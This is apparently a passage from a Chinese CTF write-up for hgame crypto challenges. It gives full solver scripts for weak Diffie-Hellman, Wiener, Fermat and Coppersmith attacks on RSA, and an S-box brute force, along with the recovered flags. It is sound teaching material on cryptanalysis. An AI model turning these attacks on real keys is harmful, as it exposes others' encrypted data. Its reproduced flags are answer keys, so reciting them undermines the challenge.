713081623540463771547844600806401723562334185214530516095152824413924854874698,
169032261313667135064656929704495132745450693412465665304632134108795805972280912
0500999091493097880695888777563486212179798037350151439310538948719271467773)
P1 =
E(2032638959575737798553734238953177065671021112450002471824225734491735604600003
028491729131445734432442510201955977472408728415227018746467250107080483073647,
351014708079375013375164693001868752712893817578671426990260450270024894815429985
3980250781583789623838631244520649113071664767897964611902120411142027848868)
c =
E(6670373437344180404127983821482178149374116817544688094986412631575854021385459
676854475335068369698875988135009698187255523501841013430892133371577987480522,
664896442603467730418986290291745832884548404781870759832907980673234627484895574
7700716101983207165347315916182076928764076602008846695049181874187707051395)
# Alice_secret = pohlig_hellman_DLP(g,A,N)
# print(Alice_secret)
# print(A)
# print(power_mod(g, Alice_secret, N))
Alice_secret =
763298723297979584226242509265452306429639396521052028233101832019494785232399729
271964221388376632821010862649548789429670851057375901795855235180313900741161592
403349942229366915608459286246948319221523754683611262962342297848271246140638750
634713429329336679437505962986861155545101512718349115470005425527433246034761
shared_secret = power_mod(B,Alice_secret,N)
print(shared_secret)
# shared_secret = pow(B, Alice_secret, N)
P2 = shared_secret * P1
# print(P2)
m = c - P2
print(m)
print(long_to_bytes(int(m[0])))
#b'hgame{Weak_p@ramet3r_make_DHKE_broken}'

```

## RSA大冒险2

一共有三关

第一关是维纳攻击，套板子就行

```

import gmpy2
import libnum

def continuedFra(x, y):
    """计算连分数
    :param x: 分子
    :param y: 分母
    :return: 连分数列表
    """
    cf = []
    while y:
        cf.append(x // y)
        x, y = y, x % y

```

```

    return cf
def gradualFra(cf):
    """计算传入列表最后的渐进分数
    :param cf: 连分数列表
    :return: 该列表最后的渐近分数
    """
    numerator = 0
    denominator = 1
    for x in cf[::-1]:
        # 这里的渐进分数分子分母要分开
        numerator, denominator = denominator, x * denominator + numerator
    return numerator, denominator
def solve_pq(a, b, c):
    """使用韦达定理解出pq,  $x^2-(p+q)x+pq=0$ 
    :param a:  $x^2$ 的系数
    :param b:  $x$ 的系数
    :param c: pq
    :return: p, q
    """
    par = gmpy2.isqrt(b * b - 4 * a * c)
    return (-b + par) // (2 * a), (-b - par) // (2 * a)
def getGradualFra(cf):
    """计算列表所有的渐近分数
    :param cf: 连分数列表
    :return: 该列表所有的渐近分数
    """
    gf = []
    for i in range(1, len(cf) + 1):
        gf.append(gradualFra(cf[:i]))
    return gf

def wienerAttack(e, n):
    """
    :param e:
    :param n:
    :return: 私钥d
    """
    cf = continuedFra(e, n)
    gf = getGradualFra(cf)
    for d, k in gf:
        if k == 0: continue
        if (e * d - 1) % k != 0:
            continue
        phi = (e * d - 1) // k
        p, q = solve_pq(1, n - phi + 1, n)
        if p * q == n:
            return d

n =
540178602209023764832890146228862526904870483951851560272405145862370025229714784
259136839429807795271322280732328036855038441543485585995224630745098407308456088
077995896643084043981446709669688983687559748881835504361936706143267712774229302
58867360687788370812064898934724868700009580425919098896238182153

```

```

e =
281085824767704180471386489423799088449497706601829916323793722386764731591115799
508482352907659656707134417942567157622115597207952503053189015404317748135725049
144024935602033241256142552936875940031857952617527968669141406566146269336502165
99941064277650646147455712778075625097964168145967222740810790573

c =
0x471d0fc6a409db5f68ce4335419228c81e9df18ae160454060fed129e7dd073f365e85854542b3a
af05d7639d9b28a602bc820ba4ea4b853122215fa975b883070e32a9e715ce6007ef8fba87f36b60b
35a109c621dc8fc85f5052044d1cf0e4e66514de96cf223636ec6b69d02a28d2bd127770f068579bf
860264029b35d80

d=wienerAttack(e, n)
m=pow(c, d, n)
print(libnum.n2s(m).decode())
#wiener_attack_easily!!!

```

第二关，费马分解完了再是一个模不互素，公约数为2，很小

```

import gmpy2
from Crypto.Util.number import *
def isqrt(n):
    x = n
    y = (x + n // x) // 2
    while y < x:
        x = y
        y = (x + n // x) // 2
    return x

def fermat(n, verbose=True):
    a = isqrt(n) # int(ceil(n**0.5))
    b2 = a*a - n
    b = isqrt(n) # int(b2**0.5)
    count = 0
    while b*b != b2:
        # if verbose:
        #     print('Trying: a=%s b2=%s b=%s' % (a, b2, b))
        a = a + 1
        b2 = a*a - n
        b = isqrt(b2) # int(b2**0.5)
        count += 1
    p=a+b
    q=a-b
    assert n == p * q
    # print('a=',a)
    # print('b=',b)
    # print('p=',p)
    # print('q=',q)
    # print('pq=',p*q)
    return p, q

n =
60143369371699552860507677077955953089718086202837733298519418428625300428129259
197458264934175840369300400403245081250189951631177300084028165698429067397330592
585654110849488704017922516653679262427536883321791677353263264774353743406307778
69785706157770936048643227264316845277230933951490875173148550029

```

```

p, q = fermat(n)

# 当e约去公约数后与phi互素
def decrypt(p, q, e, c):
    n = p * q
    phi = (p - 1) * (q - 1)
    t = gmpy2.gcd(e, phi)
    d = gmpy2.invert(e // t, phi)
    m = pow(c, d, n)
    print(m)
    msg = gmpy2.iroot(m, t)
    print(msg)
    if msg[1]:
        print(long_to_bytes(msg[0]))

e = 64418
c =
0x460dae8bd16f5d1564b0354895f02281cdd4b7ef99f54a6511d77e50175180c4cfb70eb3919a062
82909d33307bf75fc6668ff17f9e1400febfc9f0f9cd06d895ba04c77403335c029536f51827c5029
0803c178d2b0384b89d439df7dd80032ef50e32650afd14c4b0280816c69b886d4fb38624e1904870
6e2a18330c4a4bf
decrypt(p, q, e, c)

#how_to_solve_e_and_phi_uncoprime_condision

```

第三关，用coppersmith打，爆破个十几位就行。

```

from tqdm import tqdm
from Crypto.Util.number import *

n=9434727080954719018800650061617514873950567144485748577715427398282111687001690
641981925948294953497359260729019627536843442176039721549983568046767989789714870
635397148636807914912303947875214717461692226986677867156895522405308505776138694
1713649614693720421138090223198956942665592286603583417692085178461
e=65537
leak=7126741856407745446256770144307618078920098084147351461310511872969141475877
02

c =
0x45442651856f00f3e050e93d2b34dfaefbc0d35241afc0373643f23478d50464838b678069a2e1c
a28e319d88683858dcba6019683febc680b31e04c407e80667c85732a6597460f1564ff7e449b5323
64e68ae05297357cd9bf735b21a2bdfff8b95b2f2941b490cdc9c09ec4613de4020d323e2972a5545
e897b4e581f9204

# n =
112196772020994316995191331893324027715857691256264220099445476900672325959809277
257264548412445219870737674508593004146657758535254719225629247296079237172645786
018076466408964478453874015660753119539972450441971517554165784366711849805773041
407767113170068272599521710369219118305854413221205041511518427923

# leak =
171992337603398622865633395617561030555481767240325661735133798164493422043206203
8

# e = 65537
# PR.<x> = PolynomialRing(Zmod(n))
# f = leak * 2 ** 242 + x

```

```

# root = f.small_roots(X=2^242,beta=0.472,epsilon=0.025)
# print(root)
# PR.<x> = PolynomialRing(Zmod(n))
# for i in tqdm(range(0,1 << 11)):

#     p_leak = leak * 2 ** 11 + i
#     f = p_leak * 2 ** 242 + x
#     root = f.small_roots(X=2^242,beta=0.472,epsilon=0.025)
#     if len(root) > 0:
#         print(root)
#         print(p_leak * 2 ** 242 + int(root[0]))
#         break
p =
103152541126060268016364028907214752056470913405448121146443848982266181848511338
20877322017690694396162281928101155835163638640857778880743737041971258369
q = n // p
d = inverse_mod(e, (p - 1) * (q - 1))
m = power_mod(c, d, n)
print(long_to_bytes(m))
#b'now_you_know_how_to_use_coppersmith'

```

三关的flag分别输入进去就能拿到最后的flag了。

```
hgame{U_mus7_b3_RS4_M@ster!!!}
```

## ezBlock

一个替换密码，出题人特意写了个 `s_substitute` 函数将数据16位一起加密，其实是逐位和s盒进行替换是一样的。首先先写个函数将数据打散

```

def pre(alist):
    ans = []
    for i in alist:
        tmp = []
        s = i
        for j in range(4):
            tmp.append(s & 0xf)
            s >>= 4
        ans += tmp[::-1]
    return ans

```

题目给了16组数据，目的是为了保证解的唯一性，首先key是客观存在的，只用一组解去爆破可以得到key和可能满足key的其他解，用16组数据可以更精确地得到key。

加密函数的流程为，每四个字节为一周期，一周期内每一个字节与一组不同的key进行加密，每组不同的key为5个0-15内的整数，依次进行了替换和异或运算，核心代码如下



```
def enc(m, key):
    n = len(key)
    t = m
    for i in range(n - 1):
        t = t ^ key[i]
        t = s_substitute(t)
    c = t ^ key[n - 1]
    return c
```

直接逆向这个函数不太现实，只能是正向爆破，一共5个周期，每个周期内有4组5长度的key要爆破，时间复杂度是完全可以接受的，完整exp如下

```
import itertools
from Crypto.Util.number import *
s_box = {0: 0x6, 1: 0x4, 2: 0xc, 3: 0x5, 4: 0x0, 5: 0x7, 6: 0x2, 7: 0xe, 8: 0x1,
          9: 0xf, 10: 0x3, 11: 0xd, 12: 0x8,
          13: 0xa, 14: 0x9, 15: 0xb}
c_list = [28590, 33943, 30267, 5412, 11529, 3089, 46924, 59533, 12915, 37743,
          64090, 53680, 18933, 49378, 23512, 44742]
m_list = [i * 0x1111 for i in range(16)]
def pre(alist):
    ans = []
    for i in alist:
        tmp = []
        s = i
        for j in range(4):
            tmp.append(s & 0xf)
            s >>= 4
        ans += tmp[::-1]
    return ans
ms = pre(m_list)
cs = pre(c_list)
# print(cs)
def ss(m,k):
    assert len(k) == 5
    for i in range(4):
        m = m ^ k[i]
        m = s_box[m]
    m = m ^ k[4]
    return m
ks = []
for j in range(4):
    for k in itertools.product(range(16), repeat=5):
        o = True
        # print(k)
        for i in range(j, len(ms), 4):
            m = ms[i]
            c = cs[i]
            if ss(m,k) != c:
                o = False
                break
        if o == True:
            print(k)
            ks.append(k)
```

```
# break
print(ks)
# flag = [(4, 15, 4, 4, 13), (15, 4, 15, 5, 8), (4, 9, 9, 7, 13), (2, 3, 2, 0,
5)]
flag = ks
ans = ''
for j in range(5):
    for i in range(4):
        ans += hex(flag[i][j])[2:]
print(ans)
flag = '_'.join(ans[i:i + 4] for i in range(0, len(ans), 4))
print('hgame{' + flag + '}')
#hgame{4f42_f493_4f92_4570_d8d5}
```